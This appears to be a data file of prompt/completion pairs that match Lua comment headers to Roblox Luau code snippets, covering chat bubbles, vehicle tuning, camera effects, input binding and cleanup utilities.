prompt
stringlengths 2
14.7k
| completion
stringlengths 1
99.7k
|
---|---|
-- init chat bubble tables
|
local function initChatBubbleType(chatBubbleType, fileName, imposterFileName, isInset, sliceRect)
this.ChatBubble[chatBubbleType] = createChatBubbleMain(fileName, sliceRect)
this.ChatBubbleWithTail[chatBubbleType] = createChatBubbleWithTail(fileName, UDim2.new(0.5, -CHAT_BUBBLE_TAIL_HEIGHT, 1, isInset and -1 or 0), UDim2.new(0, 30, 0, CHAT_BUBBLE_TAIL_HEIGHT), sliceRect)
this.ScalingChatBubbleWithTail[chatBubbleType] = createScaledChatBubbleWithTail(fileName, 0.5, UDim2.new(-0.5, 0, 0, isInset and -1 or 0), sliceRect)
end
initChatBubbleType(BubbleColor.WHITE, "ui/dialog_white", "ui/chatBubble_white_notify_bkg", false, Rect.new(5,5,15,15))
initChatBubbleType(BubbleColor.BLUE, "ui/dialog_blue", "ui/chatBubble_blue_notify_bkg", true, Rect.new(7,7,33,33))
initChatBubbleType(BubbleColor.RED, "ui/dialog_red", "ui/chatBubble_red_notify_bkg", true, Rect.new(7,7,33,33))
initChatBubbleType(BubbleColor.GREEN, "ui/dialog_green", "ui/chatBubble_green_notify_bkg", true, Rect.new(7,7,33,33))
function this:SanitizeChatLine(msg)
if string.len(msg) > MaxChatMessageLengthExclusive then
return string.sub(msg, 1, MaxChatMessageLengthExclusive + string.len(ELIPSES))
else
return msg
end
end
local function createBillboardInstance(adornee)
local billboardGui = Instance.new("BillboardGui")
billboardGui.Adornee = adornee
billboardGui.Size = UDim2.new(0,BILLBOARD_MAX_WIDTH,0,BILLBOARD_MAX_HEIGHT)
billboardGui.StudsOffset = Vector3.new(0, 1.5, 2)
billboardGui.Parent = BubbleChatScreenGui
local billboardFrame = Instance.new("Frame")
billboardFrame.Name = "BillboardFrame"
billboardFrame.Size = UDim2.new(1,0,1,0)
billboardFrame.Position = UDim2.new(0,0,-0.5,0)
billboardFrame.BackgroundTransparency = 1
billboardFrame.Parent = billboardGui
local billboardChildRemovedCon = nil
billboardChildRemovedCon = billboardFrame.ChildRemoved:connect(function()
if #billboardFrame:GetChildren() <= 1 then
billboardChildRemovedCon:disconnect()
billboardGui:Destroy()
end
end)
this:CreateSmallTalkBubble(BubbleColor.WHITE).Parent = billboardFrame
return billboardGui
end
function this:CreateBillboardGuiHelper(instance, onlyCharacter)
if instance and not this.CharacterSortedMsg:Get(instance)["BillboardGui"] then
if not onlyCharacter then
if instance:IsA("BasePart") then
-- Create a new billboardGui object attached to this player
local billboardGui = createBillboardInstance(instance)
this.CharacterSortedMsg:Get(instance)["BillboardGui"] = billboardGui
return
end
end
if instance:IsA("Model") then
local head = instance:FindFirstChild("Head")
if head and head:IsA("BasePart") then
-- Create a new billboardGui object attached to this player
local billboardGui = createBillboardInstance(head)
this.CharacterSortedMsg:Get(instance)["BillboardGui"] = billboardGui
end
end
end
end
local function distanceToBubbleOrigin(origin)
if not origin then return 100000 end
return (origin.Position - game.Workspace.CurrentCamera.CoordinateFrame.p).magnitude
end
local function isPartOfLocalPlayer(adornee)
if adornee and PlayersService.LocalPlayer.Character then
return adornee:IsDescendantOf(PlayersService.LocalPlayer.Character)
end
end
function this:SetBillboardLODNear(billboardGui)
local isLocalPlayer = isPartOfLocalPlayer(billboardGui.Adornee)
billboardGui.Size = UDim2.new(0, BILLBOARD_MAX_WIDTH, 0, BILLBOARD_MAX_HEIGHT)
billboardGui.StudsOffset = Vector3.new(0, isLocalPlayer and 1.5 or 2.5, isLocalPlayer and 2 or 0.1)
billboardGui.Enabled = true
local billChildren = billboardGui.BillboardFrame:GetChildren()
for i = 1, #billChildren do
billChildren[i].Visible = true
end
billboardGui.BillboardFrame.SmallTalkBubble.Visible = false
end
function this:SetBillboardLODDistant(billboardGui)
local isLocalPlayer = isPartOfLocalPlayer(billboardGui.Adornee)
billboardGui.Size = UDim2.new(4,0,3,0)
billboardGui.StudsOffset = Vector3.new(0, 3, isLocalPlayer and 2 or 0.1)
billboardGui.Enabled = true
local billChildren = billboardGui.BillboardFrame:GetChildren()
for i = 1, #billChildren do
billChildren[i].Visible = false
end
billboardGui.BillboardFrame.SmallTalkBubble.Visible = true
end
function this:SetBillboardLODVeryFar(billboardGui)
billboardGui.Enabled = false
end
function this:SetBillboardGuiLOD(billboardGui, origin)
if not origin then return end
if origin:IsA("Model") then
local head = origin:FindFirstChild("Head")
if not head then origin = origin.PrimaryPart
else origin = head end
end
local bubbleDistance = distanceToBubbleOrigin(origin)
if bubbleDistance < NEAR_BUBBLE_DISTANCE then
this:SetBillboardLODNear(billboardGui)
elseif bubbleDistance >= NEAR_BUBBLE_DISTANCE and bubbleDistance < MAX_BUBBLE_DISTANCE then
this:SetBillboardLODDistant(billboardGui)
else
this:SetBillboardLODVeryFar(billboardGui)
end
end
function this:CameraCFrameChanged()
for index, value in pairs(this.CharacterSortedMsg:GetData()) do
local playerBillboardGui = value["BillboardGui"]
if playerBillboardGui then this:SetBillboardGuiLOD(playerBillboardGui, index) end
end
end
function this:CreateBubbleText(message)
local bubbleText = Instance.new("TextLabel")
bubbleText.Name = "BubbleText"
bubbleText.BackgroundTransparency = 1
bubbleText.Position = UDim2.new(0,CHAT_BUBBLE_WIDTH_PADDING/2,0,0)
bubbleText.Size = UDim2.new(1,-CHAT_BUBBLE_WIDTH_PADDING,1,0)
bubbleText.Font = CHAT_BUBBLE_FONT
if shouldClipInGameChat then
bubbleText.ClipsDescendants = true
end
bubbleText.TextWrapped = true
bubbleText.FontSize = CHAT_BUBBLE_FONT_SIZE
bubbleText.Text = message
bubbleText.Visible = false
return bubbleText
end
function this:CreateSmallTalkBubble(chatBubbleType)
local smallTalkBubble = this.ScalingChatBubbleWithTail[chatBubbleType]:Clone()
smallTalkBubble.Name = "SmallTalkBubble"
smallTalkBubble.AnchorPoint = Vector2.new(0, 0.5)
smallTalkBubble.Position = UDim2.new(0,0,0.5,0)
smallTalkBubble.Visible = false
local text = this:CreateBubbleText("...")
text.TextScaled = true
text.TextWrapped = false
text.Visible = true
text.Parent = smallTalkBubble
return smallTalkBubble
end
function this:UpdateChatLinesForOrigin(origin, currentBubbleYPos)
local bubbleQueue = this.CharacterSortedMsg:Get(origin).Fifo
local bubbleQueueSize = bubbleQueue:Size()
local bubbleQueueData = bubbleQueue:GetData()
if #bubbleQueueData <= 1 then return end
for index = (#bubbleQueueData - 1), 1, -1 do
local value = bubbleQueueData[index]
local bubble = value.RenderBubble
if not bubble then return end
local bubblePos = bubbleQueueSize - index + 1
if bubblePos > 1 then
local tail = bubble:FindFirstChild("ChatBubbleTail")
if tail then tail:Destroy() end
local bubbleText = bubble:FindFirstChild("BubbleText")
if bubbleText then bubbleText.TextTransparency = 0.5 end
end
local udimValue = UDim2.new( bubble.Position.X.Scale, bubble.Position.X.Offset,
1, currentBubbleYPos - bubble.Size.Y.Offset - CHAT_BUBBLE_TAIL_HEIGHT )
bubble:TweenPosition(udimValue, Enum.EasingDirection.Out, Enum.EasingStyle.Bounce, 0.1, true)
currentBubbleYPos = currentBubbleYPos - bubble.Size.Y.Offset - CHAT_BUBBLE_TAIL_HEIGHT
end
end
function this:DestroyBubble(bubbleQueue, bubbleToDestroy)
if not bubbleQueue then return end
if bubbleQueue:Empty() then return end
local bubble = bubbleQueue:Front().RenderBubble
if not bubble then
bubbleQueue:PopFront()
return
end
spawn(function()
while bubbleQueue:Front().RenderBubble ~= bubbleToDestroy do
wait()
end
bubble = bubbleQueue:Front().RenderBubble
local timeBetween = 0
local bubbleText = bubble:FindFirstChild("BubbleText")
local bubbleTail = bubble:FindFirstChild("ChatBubbleTail")
while bubble and bubble.ImageTransparency < 1 do
timeBetween = wait()
if bubble then
local fadeAmount = timeBetween * CHAT_BUBBLE_FADE_SPEED
bubble.ImageTransparency = bubble.ImageTransparency + fadeAmount
if bubbleText then bubbleText.TextTransparency = bubbleText.TextTransparency + fadeAmount end
if bubbleTail then bubbleTail.ImageTransparency = bubbleTail.ImageTransparency + fadeAmount end
end
end
if bubble then
bubble:Destroy()
bubbleQueue:PopFront()
end
end)
end
function this:CreateChatLineRender(instance, line, onlyCharacter, fifo)
if not instance then return end
if not this.CharacterSortedMsg:Get(instance)["BillboardGui"] then
this:CreateBillboardGuiHelper(instance, onlyCharacter)
end
local billboardGui = this.CharacterSortedMsg:Get(instance)["BillboardGui"]
if billboardGui then
local chatBubbleRender = this.ChatBubbleWithTail[line.BubbleColor]:Clone()
chatBubbleRender.Visible = false
local bubbleText = this:CreateBubbleText(line.Message)
bubbleText.Parent = chatBubbleRender
chatBubbleRender.Parent = billboardGui.BillboardFrame
line.RenderBubble = chatBubbleRender
local currentTextBounds = TextService:GetTextSize(
bubbleText.Text, CHAT_BUBBLE_FONT_SIZE_INT, CHAT_BUBBLE_FONT,
Vector2.new(BILLBOARD_MAX_WIDTH, BILLBOARD_MAX_HEIGHT))
local bubbleWidthScale = math.max((currentTextBounds.X + CHAT_BUBBLE_WIDTH_PADDING)/BILLBOARD_MAX_WIDTH, 0.1)
local numOflines = (currentTextBounds.Y/CHAT_BUBBLE_FONT_SIZE_INT)
-- prep chat bubble for tween
chatBubbleRender.Size = UDim2.new(0,0,0,0)
chatBubbleRender.Position = UDim2.new(0.5,0,1,0)
local newChatBubbleOffsetSizeY = numOflines * CHAT_BUBBLE_LINE_HEIGHT
chatBubbleRender:TweenSizeAndPosition(UDim2.new(bubbleWidthScale, 0, 0, newChatBubbleOffsetSizeY),
UDim2.new( (1-bubbleWidthScale)/2, 0, 1, -newChatBubbleOffsetSizeY),
Enum.EasingDirection.Out, Enum.EasingStyle.Elastic, 0.1, true,
function() bubbleText.Visible = true end)
-- todo: remove when over max bubbles
this:SetBillboardGuiLOD(billboardGui, line.Origin)
this:UpdateChatLinesForOrigin(line.Origin, -newChatBubbleOffsetSizeY)
delay(line.BubbleDieDelay, function()
this:DestroyBubble(fifo, chatBubbleRender)
end)
end
end
function this:OnPlayerChatMessage(sourcePlayer, message, targetPlayer)
if not this:BubbleChatEnabled() then return end
local localPlayer = PlayersService.LocalPlayer
local fromOthers = localPlayer ~= nil and sourcePlayer ~= localPlayer
local safeMessage = this:SanitizeChatLine(message)
local line = createPlayerChatLine(sourcePlayer, safeMessage, not fromOthers)
if sourcePlayer and line.Origin then
local fifo = this.CharacterSortedMsg:Get(line.Origin).Fifo
fifo:PushBack(line)
--Game chat (badges) won't show up here
this:CreateChatLineRender(sourcePlayer.Character, line, true, fifo)
end
end
function this:OnGameChatMessage(origin, message, color)
local localPlayer = PlayersService.LocalPlayer
local fromOthers = localPlayer ~= nil and (localPlayer.Character ~= origin)
local bubbleColor = BubbleColor.WHITE
if color == Enum.ChatColor.Blue then bubbleColor = BubbleColor.BLUE
elseif color == Enum.ChatColor.Green then bubbleColor = BubbleColor.GREEN
elseif color == Enum.ChatColor.Red then bubbleColor = BubbleColor.RED end
local safeMessage = this:SanitizeChatLine(message)
local line = createGameChatLine(origin, safeMessage, not fromOthers, bubbleColor)
this.CharacterSortedMsg:Get(line.Origin).Fifo:PushBack(line)
this:CreateChatLineRender(origin, line, false, this.CharacterSortedMsg:Get(line.Origin).Fifo)
end
function this:BubbleChatEnabled()
local clientChatModules = ChatService:FindFirstChild("ClientChatModules")
if clientChatModules then
local chatSettings = clientChatModules:FindFirstChild("ChatSettings")
if chatSettings then
local chatSettings = require(chatSettings)
if chatSettings.BubbleChatEnabled ~= nil then
return chatSettings.BubbleChatEnabled
end
end
end
return PlayersService.BubbleChat
end
function this:ShowOwnFilteredMessage()
local clientChatModules = ChatService:FindFirstChild("ClientChatModules")
if clientChatModules then
local chatSettings = clientChatModules:FindFirstChild("ChatSettings")
if chatSettings then
chatSettings = require(chatSettings)
return chatSettings.ShowUserOwnFilteredMessage
end
end
return false
end
function findPlayer(playerName)
for i,v in pairs(PlayersService:GetPlayers()) do
if v.Name == playerName then
return v
end
end
end
ChatService.Chatted:connect(function(origin, message, color) this:OnGameChatMessage(origin, message, color) end)
local cameraChangedCon = nil
if game.Workspace.CurrentCamera then
cameraChangedCon = game.Workspace.CurrentCamera:GetPropertyChangedSignal("CFrame"):connect(function(prop) this:CameraCFrameChanged() end)
end
game.Workspace.Changed:connect(function(prop)
if prop == "CurrentCamera" then
if cameraChangedCon then cameraChangedCon:disconnect() end
if game.Workspace.CurrentCamera then
cameraChangedCon = game.Workspace.CurrentCamera:GetPropertyChangedSignal("CFrame"):connect(function(prop) this:CameraCFrameChanged() end)
end
end
end)
local AllowedMessageTypes = nil
function getAllowedMessageTypes()
if AllowedMessageTypes then
return AllowedMessageTypes
end
local clientChatModules = ChatService:FindFirstChild("ClientChatModules")
if clientChatModules then
local chatSettings = clientChatModules:FindFirstChild("ChatSettings")
if chatSettings then
chatSettings = require(chatSettings)
if chatSettings.BubbleChatMessageTypes then
AllowedMessageTypes = chatSettings.BubbleChatMessageTypes
return AllowedMessageTypes
end
end
local chatConstants = clientChatModules:FindFirstChild("ChatConstants")
if chatConstants then
chatConstants = require(chatConstants)
AllowedMessageTypes = {chatConstants.MessageTypeDefault, chatConstants.MessageTypeWhisper}
end
return AllowedMessageTypes
end
return {"Message", "Whisper"}
end
function checkAllowedMessageType(messageData)
local allowedMessageTypes = getAllowedMessageTypes()
for i = 1, #allowedMessageTypes do
if allowedMessageTypes[i] == messageData.MessageType then
return true
end
end
return false
end
local ChatEvents = ReplicatedStorage:WaitForChild("DefaultChatSystemChatEvents")
local OnMessageDoneFiltering = ChatEvents:WaitForChild("OnMessageDoneFiltering")
local OnNewMessage = ChatEvents:WaitForChild("OnNewMessage")
OnNewMessage.OnClientEvent:connect(function(messageData, channelName)
if not checkAllowedMessageType(messageData) then
return
end
local sender = findPlayer(messageData.FromSpeaker)
if not sender then
return
end
if not messageData.IsFiltered or messageData.FromSpeaker == LocalPlayer.Name then
if messageData.FromSpeaker ~= LocalPlayer.Name or this:ShowOwnFilteredMessage() then
return
end
end
this:OnPlayerChatMessage(sender, messageData.Message, nil)
end)
OnMessageDoneFiltering.OnClientEvent:connect(function(messageData, channelName)
if not checkAllowedMessageType(messageData) then
return
end
local sender = findPlayer(messageData.FromSpeaker)
if not sender then
return
end
if messageData.FromSpeaker == LocalPlayer.Name and not this:ShowOwnFilteredMessage() then
return
end
this:OnPlayerChatMessage(sender, messageData.Message, nil)
end)
|
----- Water particle handler -----
|
function waterOutput()
if script.Parent.ColdOn.Value == false and script.Parent.HotOn.Value == false then
faucetParticles.Enabled = false
showerHead.Enabled = false
bathSound:Stop()
showerSound:Stop()
elseif script.Parent.ShowerMode.Value == false then
faucetParticles.Enabled = true
showerHead.Enabled = false
bathSound:Play()
showerSound:Stop()
else
faucetParticles.Enabled = false
showerHead.Enabled = true
bathSound:Stop()
showerSound:Play()
end
end
script.Parent.ColdOn.Changed:connect(function()
waterOutput()
end)
script.Parent.HotOn.Changed:connect(function()
waterOutput()
end)
script.Parent.ShowerMode.Changed:connect(function()
waterOutput()
end)
|
-- Get references to the DockShelf and its children
|
local dockShelf = script.Parent.Parent.Parent.Parent.Parent.DockShelf
local dockbtn = dockShelf.ICalculator
local aFinderButton = dockShelf.AFinder
local Minimalise = script.Parent
local window = script.Parent.Parent.Parent
|
--[=[
@class SpringObject
]=]
|
local require = require(script.Parent.loader).load(script)
local RunService= game:GetService("RunService")
local Spring = require("Spring")
local Maid = require("Maid")
local Signal = require("Signal")
local StepUtils = require("StepUtils")
local Observable = require("Observable")
local SpringUtils = require("SpringUtils")
local Blend = require("Blend")
local Rx = require("Rx")
local SpringObject = {}
SpringObject.ClassName = "SpringObject"
SpringObject.__index = SpringObject
|
--Made by Stickmasterluke
|
sp=script.Parent
speedboost=2 --100% speed bonus
speedforsmoke=10 --smoke apears when character running >= 10 studs/second.
function waitfor(a,b,c)
local c=c or 5*60
local d=tick()+c
while a:FindFirstChild(b)==nil and tick()<=d do
wait()
end
return a:FindFirstChild(b)
end
local tooltag=waitfor(script,"ToolTag",2)
if tooltag~=nil then
local tool=tooltag.Value
local h=sp:FindFirstChild("Humanoid")
if h~=nil then
h.WalkSpeed=16+10*speedboost
local t=sp:FindFirstChild("Torso")
if t~=nil then
smokepart=Instance.new("Part")
smokepart.FormFactor="Custom"
smokepart.Size=Vector3.new(0,0,0)
smokepart.TopSurface="Smooth"
smokepart.BottomSurface="Smooth"
smokepart.CanCollide=false
smokepart.Transparency=1
local weld=Instance.new("Weld")
weld.Name="SmokePartWeld"
weld.Part0=t
weld.Part1=smokepart
weld.C0=CFrame.new(0,-3.5,0)*CFrame.Angles(math.pi/4,0,0)
weld.Parent=smokepart
smokepart.Parent=sp
smoke=Instance.new("Fire")
smoke.Enabled=t.Velocity.magnitude>speedforsmoke
smoke.Size=5
smoke.Parent=smokepart
h.Running:connect(function(speed)
if smoke and smoke~=nil then
smoke.Enabled=speed>speedforsmoke
end
end)
end
end
while tool~=nil and tool.Parent==sp and h~=nil do
sp.ChildRemoved:wait()
end
local h=sp:FindFirstChild("Humanoid")
if h~=nil then
h.WalkSpeed=16
end
end
if smokepart~=nil then
smokepart:remove()
end
script:remove()
|
-- Must have hopped on a segway
|
SegwayObject.Changed:connect(function()
if SegwayObject.Value ~= nil and SegwayObject.Value.Parent then
if UserInputService.VREnabled then
Camera.CameraType = "Scriptable"
else
Camera.CameraType = "Follow"
end
Lights = SegwayObject.Value:WaitForChild("Lights")
Notifiers = SegwayObject.Value:WaitForChild("Notifiers")
Character = Player.Character
Humanoid = Character:WaitForChild("Humanoid")
PlayerGui = Player.PlayerGui
SitListener = Humanoid.Seated:connect(function()Hopoff(Character)end)
JumpListener = UserInputService.JumpRequest:connect(function()Hopoff(Character)end)
ConfigLights:FireServer(0,"Cyan",true,"Neon",Lights,Notifiers)
CheckMobile()
CheckVR()
IsOnSegway = true
end
end)
SetGuiButtons()
while game:GetService("RunService").RenderStepped:wait() do
-- Update segway's bottom direction
CastToGround()
if SegwayObject.Value and SegwayObject.Value.Parent and SeaterObject.Value and Thruster.Value and TiltMotor.Value then
-- Move segway
Accelerate()
-- Change sound of segway
Sound()
-- Tilts the segway
Tilt()
UpdateVRPos()
elseif IsOnSegway then
IsOnSegway = false
UpdateCharTrans(0,0)
end
end
|
-- declarations
|
local sDied = newSound("")
sDied.Pitch = 1.89
local sFallingDown = newSound("rbxasset://sounds/splat.wav")
local sFreeFalling = newSound("rbxasset://sounds/swoosh.wav")
local sGettingUp = newSound("rbxasset://sounds/hit.wav")
local sJumping = newSound("rbxasset://sounds/hit.wav")
local sRunning = newSound("rbxasset://sounds/bfsl-minifigfoots1.mp3")
sRunning.Looped = true
local Figure = script.Parent
local Head = waitForChild(Figure, "Head")
local Humanoid = waitForChild(Figure, "Humanoid")
|
--Control Mapping
|
Tune.Controls = {
--Keyboard Controls
--Mode Toggles
ToggleTCS = Enum.KeyCode.T ,
ToggleABS = Enum.KeyCode.Y ,
ToggleTransMode = Enum.KeyCode.M ,
ToggleMouseDrive = Enum.KeyCode.R ,
--Primary Controls
Throttle = Enum.KeyCode.Up ,
Brake = Enum.KeyCode.Down ,
SteerLeft = Enum.KeyCode.Left ,
SteerRight = Enum.KeyCode.Right ,
--Secondary Controls
Throttle2 = Enum.KeyCode.W ,
Brake2 = Enum.KeyCode.S ,
SteerLeft2 = Enum.KeyCode.A ,
SteerRight2 = Enum.KeyCode.D ,
--Manual Transmission
ShiftUp = Enum.KeyCode.E ,
ShiftDown = Enum.KeyCode.Q ,
Clutch = Enum.KeyCode.LeftShift ,
--Handbrake
PBrake = Enum.KeyCode.P ,
--Mouse Controls
MouseThrottle = Enum.UserInputType.MouseButton1 ,
MouseBrake = Enum.UserInputType.MouseButton2 ,
MouseClutch = Enum.KeyCode.W ,
MouseShiftUp = Enum.KeyCode.E ,
MouseShiftDown = Enum.KeyCode.Q ,
MousePBrake = Enum.KeyCode.LeftShift ,
--Controller Mapping
ContlrThrottle = Enum.KeyCode.ButtonR2 ,
ContlrBrake = Enum.KeyCode.ButtonL2 ,
ContlrSteer = Enum.KeyCode.Thumbstick1 ,
ContlrShiftUp = Enum.KeyCode.ButtonY ,
ContlrShiftDown = Enum.KeyCode.ButtonX ,
ContlrClutch = Enum.KeyCode.ButtonR1 ,
ContlrPBrake = Enum.KeyCode.ButtonL1 ,
ContlrToggleTMode = Enum.KeyCode.DPadUp ,
ContlrToggleTCS = Enum.KeyCode.DPadDown ,
ContlrToggleABS = Enum.KeyCode.DPadRight ,
}
|
-------------------------
|
function onClicked()
Car.BodyVelocity.velocity = Vector3.new(0, -5, 0)
end
script.Parent.ClickDetector.MouseClick:connect(onClicked)
|
--
|
function uisBinds:BindToInput(actionName, func, ...)
local binds = {...};
self.connections[actionName] = {}
for i = 1, #binds do
local keycode = binds[i];
self.connections[actionName][keycode] = {
UIS.InputBegan:Connect(function(input, process)
if (input.KeyCode == keycode) then
func(actionName, input.UserInputState, input);
end
end),
UIS.InputChanged:Connect(function(input, process)
if (input.KeyCode == keycode) then
func(actionName, input.UserInputState, input);
end
end),
UIS.InputEnded:Connect(function(input, process)
if (input.KeyCode == keycode) then
func(actionName, input.UserInputState, input);
end
end)
}
end
end
function uisBinds:UnbindAction(actionName)
for keycode, array in next, self.connections[actionName] do
for i = 1, #array do
array[i]:Disconnect();
end
end
self.connections[actionName] = nil;
end
|
--Made by Luckymaxer
|
Camera = game:GetService("Workspace").CurrentCamera
Rate = (1 / 60)
Shake = {Movement = 40, Rate = 0.001}
local CoordinateFrame = Camera.CoordinateFrame
local Focus = Camera.Focus
while true do
local CameraRotation = Camera.CoordinateFrame - Camera.CoordinateFrame.p
local CameraScroll = (CoordinateFrame.p - Focus.p).magnitude
local NewCFrame = CFrame.new(Camera.Focus.p) * CameraRotation * CFrame.fromEulerAnglesXYZ((math.random(-Shake.Movement, Shake.Movement) * Shake.Rate), (math.random(-Shake.Movement, Shake.Movement) * Shake.Rate), 0)
CoordinateFrame = NewCFrame * CFrame.new(0, 0, CameraScroll)
Camera.CoordinateFrame = CoordinateFrame
wait(Rate)
end
|
-- [[ End VR Support Section ]] --
|
return BaseCamera
|
--[[**
"Links" this Janitor to an Instance, such that the Janitor will `Cleanup` when the Instance is `Destroyed()` and garbage collected. A Janitor may only be linked to one instance at a time, unless `AllowMultiple` is true. When called with a truthy `AllowMultiple` parameter, the Janitor will "link" the Instance without overwriting any previous links, and will also not be overwritable. When called with a falsy `AllowMultiple` parameter, the Janitor will overwrite the previous link which was also called with a falsy `AllowMultiple` parameter, if applicable.
@param [t:Instance] Object The instance you want to link the Janitor to.
@param [t:boolean?] AllowMultiple Whether or not to allow multiple links on the same Janitor.
@returns [t:RbxScriptConnection] A pseudo RBXScriptConnection that can be disconnected.
**--]]
|
function Janitor.__index:LinkToInstance(Object, AllowMultiple)
local Connection
local IndexToUse = AllowMultiple and newproxy(false) or LinkToInstanceIndex
local IsNilParented = Object.Parent == nil
local ManualDisconnect = setmetatable({}, Disconnect)
local function ChangedFunction(_DoNotUse, NewParent)
if ManualDisconnect.Connected then
_DoNotUse = nil
IsNilParented = NewParent == nil
if IsNilParented then
coroutine.wrap(function()
Heartbeat:Wait()
if not ManualDisconnect.Connected then
return
elseif not Connection.Connected then
self:Cleanup()
else
while IsNilParented and Connection.Connected and ManualDisconnect.Connected do
Heartbeat:Wait()
end
if ManualDisconnect.Connected and IsNilParented then
self:Cleanup()
end
end
end)()
end
end
end
Connection = Object.AncestryChanged:Connect(ChangedFunction)
ManualDisconnect.Connection = Connection
if IsNilParented then
ChangedFunction(nil, Object.Parent)
end
Object = nil
return self:Add(ManualDisconnect, "Disconnect", IndexToUse)
end
|
-- << SETUP ITEMS (items which continue on respawn) >>
|
function module:SetupItem(player, itemName, playerRespawned)
if playerRespawned then
wait(0.1)
end
local pdata = main.pd[player]
local item = pdata.Items[itemName]
local head = main:GetModule("cf"):GetHead(player)
if head and pdata then
if itemName == "FreezeBlock" then
main:GetModule("cf"):Movement(false, player)
main:GetModule("cf"):SetTransparency(player.Character, 1)
if item:FindFirstChild("FreezeClone") then
main.signals.SetCameraSubject:FireClient(player, (item.FreezeClone.Humanoid))
end
elseif itemName == "JailCell" then
head.CFrame = item.Union.CFrame
elseif itemName == "ControlPlr" then
local plr = item.Value
local controllerHumanoid = main:GetModule("cf"):GetHumanoid(player)
if plr and controllerHumanoid then
main:GetModule("MorphHandler"):BecomeTargetPlayer(player, plr.UserId)
main.signals.SetCameraSubject:FireClient(player, (controllerHumanoid))
main:GetModule("cf"):CreateFakeName(player, plr.Name)
else
main:GetModule("cf"):RemoveControlPlr(player)
end
elseif itemName == "UnderControl" then
local controller = item.Value
local controllerHumanoid = main:GetModule("cf"):GetHumanoid(controller)
if controller and controllerHumanoid then
main.signals.SetCameraSubject:FireClient(player, (controllerHumanoid))
--main:GetModule("cf"):SetTransparency(player.Character, 1, true)
--main:GetModule("cf"):Movement(false, player)
player.Character.Parent = nil
else
main:GetModule("cf"):RemoveUnderControl(player)
end
-- Controler
-- Plr
end
end
end
return module
|
-- ROBLOX deviation end
|
local function getCommonMessage(message: string, options: DiffOptions?)
local commonColor = normalizeDiffOptions(options)["commonColor"]
return commonColor(message)
end
|
--vars
|
local weldbholestoanchoredparts = false --when you repeatedly weld new stuff to lets say a base it will start bouncing people up
local headrotationx = 0
local adsing = false
local sprinte = false
local savedws
local headoffset = Instance.new("Weld", handle)
headoffset.Name = "headoffsetholder"
headoffset.C0 = CFrame.new()
local movehead = true
local rayignore = {}
|
--[[**
ensures Lua primitive thread type
@param value The value to check against
@returns True iff the condition is satisfied, false otherwise
**--]]
|
t.thread = t.typeof("thread")
|
--[[**
Checks if the given group is an ally of the target group and vice-versa.
@param [Integer] GroupID The group you are checking.
@param [Integer] TargetGroupID The group you are checking.
@returns [Boolean] Whether or not the groups are allies.
**--]]
|
function GroupService:IsGroupAlly(GroupID, TargetGroupID)
for _, Group in ipairs(GroupService:GetGroupAlliesAsync(GroupID)) do
if Group.Id == TargetGroupID then
return true
end
end
return false
end
|
--Rear Suspension
|
Tune.RSusDamping = 5 -- Spring Dampening
Tune.RSusStiffness = 150 -- Spring Force
Tune.FAntiRoll = 0 -- Anti-Roll (Gyro Dampening)
Tune.RSusLength = 10 -- Suspension length (in studs)
Tune.RPreCompress = 5 -- Pre-compression adds resting length force
Tune.RExtensionLim = 2 -- Max Extension Travel (in studs)
Tune.RCompressLim = .5 -- Max Compression Travel (in studs)
Tune.RSusAngle = 70 -- Suspension Angle (degrees from horizontal)
Tune.RWsBoneLen = 5 -- Wishbone Length
Tune.RWsBoneAngle = 0 -- Wishbone angle (degrees from horizontal)
Tune.RAnchorOffset = { -- Suspension anchor point offset (relative to center of wheel)
--[[Lateral]] -.4 , -- positive = outward
--[[Vertical]] -.5 , -- positive = upward
--[[Forward]] 0 } -- positive = forward
|
--[[Engine]]
|
--Torque Curve
Tune.Horsepower = 150 -- [TORQUE CURVE VISUAL]
Tune.IdleRPM = 1400 -- https://www.desmos.com/calculator/2uo3hqwdhf
Tune.PeakRPM = 7500 -- Use sliders to manipulate values
Tune.Redline = 8500 -- Copy and paste slider values into the respective tune values
Tune.EqPoint = 6000
Tune.PeakSharpness = 10.5
Tune.CurveMult = 0.16
--Incline Compensation
Tune.InclineComp = 1.7 -- Torque compensation multiplier for inclines (applies gradient from 0-90 degrees)
--Misc
Tune.RevAccel = 150 -- RPM acceleration when clutch is off
Tune.RevDecay = 75 -- RPM decay when clutch is off
Tune.RevBounce = 500 -- RPM kickback from redline
Tune.IdleThrottle = 3 -- Percent throttle at idle
Tune.ClutchTol = 500 -- Clutch engagement threshold (higher = faster response)
|
--// F key, HornOn
|
mouse.KeyDown:connect(function(key)
if key=="f" then
veh.Lightbar.middle.Airhorn:Play()
veh.Lightbar.middle.Wail.Volume = 0
veh.Lightbar.middle.Yelp.Volume = 0
veh.Lightbar.middle.Priority.Volume = 0
veh.Lightbar.AH.Transparency = 0
end
end)
|
---- IconMap ----
-- Image size: 256px x 256px
-- Icon size: 16px x 16px
-- Padding between each icon: 2px
-- Padding around image edge: 1px
-- Total icons: 14 x 14 (196)
|
local Icon, ClassIcon do
local iconMap = 'http://www.roblox.com/asset/?id=' .. MAP_ID
game:GetService('ContentProvider'):Preload(iconMap)
local iconDehash do
-- 14 x 14, 0-based input, 0-based output
local f=math.floor
function iconDehash(h)
return f(h/14%14),f(h%14)
end
end
function Icon(IconFrame,index)
local row,col = iconDehash(index)
local mapSize = Vector2_new(256,256)
local pad,border = 2,1
local iconSize = 16
local class = 'Frame'
if type(IconFrame) == 'string' then
class = IconFrame
IconFrame = nil
end
if not IconFrame then
IconFrame = Create(class,{
Name = "Icon";
BackgroundTransparency = 1;
ClipsDescendants = true;
Create('ImageLabel',{
Name = "IconMap";
Active = false;
BackgroundTransparency = 1;
Image = iconMap;
Size = UDim2_new(mapSize.x/iconSize,0,mapSize.y/iconSize,0);
});
})
end
IconFrame.IconMap.Position = UDim2_new(-col - (pad*(col+1) + border)/iconSize,0,-row - (pad*(row+1) + border)/iconSize,0)
return IconFrame
end
function ClassIcon(IconFrame, index)
local offset = index * 16
local class = 'Frame'
if type(IconFrame) == 'string' then
class = IconFrame
IconFrame = nil
end
if not IconFrame then
IconFrame = Create(class,{
Name = "Icon";
BackgroundTransparency = 1;
ClipsDescendants = true;
Create('ImageLabel',{
Name = "IconMap";
BackgroundTransparency = 1;
Image = CLASS_MAP_ID;
ImageRectSize = Vector2_new(16, 16);
ImageRectOffset = Vector2_new(offset, 0);
Size = UDim2_new(1, 0, 1, 0);
Parent = IconFrame
});
})
end
IconFrame.IconMap.ImageRectOffset = Vector2_new(offset, 0);
return IconFrame
end
end
|
--- Gets a list of all possible values that could match based on the current value.
|
function Argument:GetAutocomplete()
if self.Type.Autocomplete then
